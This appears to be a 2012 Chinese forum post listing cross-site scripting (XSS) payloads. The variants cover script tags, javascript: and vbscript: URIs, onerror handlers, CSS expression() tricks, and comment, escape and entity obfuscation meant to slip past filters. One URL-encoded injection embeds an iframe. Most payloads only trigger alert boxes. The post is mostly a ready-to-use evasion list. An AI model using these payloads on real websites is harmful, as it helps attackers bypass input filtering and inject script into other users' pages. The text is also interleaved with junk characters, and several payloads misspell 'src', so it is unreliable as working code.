<script>alert("跨站")</script> (最常用）1 m! Z$ Q& `; h5 n4 I1 }
<img scr=javascript:alert("跨站")></img>; x4 W) X* W- l) @0 ^! h
<img scr="javascript: alert(/跨站/)></img>
; h7 [! y/ k6 s4 b$ g% y* S<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）2 _5 f8 k! G$ U" G, `3 o a
<img scr="#" onerror=alert(/跨站/)></img>
; m/ ^% q$ r c$ H2 D f" ?<img scr="#" style="xss:expression(alert(/xss/));"></img>0 r" u9 v: a0 V+ d L2 ^1 F& \: j
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）+ J. @& [8 l" u! l
<img src=vbscript:msgbox ("xss")></img>+ L. T# D/ A8 ?' _& v% J3 k! w
<style> input {left:expression (alert('xss'))}</style>& t& Z. ~7 p' [/ h1 ~3 u2 l* u4 q0 j* L
<div style={left:expression (alert('xss'))}></div>9 y7 m/ m% m/ i, L$ m
<div style={left:exp/* */ression (alert('xss'))}></div>
! U. E! k i! l% L7 d6 \" z<div style={left:\0065\0078ression (alert('xss'))}></div>/ s2 _( B1 I- Y3 K/ e" H, ~
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
9 ~8 Z4 x, B2 C7 Y# v. {9 P, q+ Bunicode <div style="{left:expRessioN (alert('xss'))}">) P! y# ^4 n2 C9 }& |2 W$ a
$ l; V* ]% z4 o% D2 W X
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["7 y' `# U" h% T" K0 i. F" {
|
发表于 2012-9-13 17:15:04
收藏
支持
反对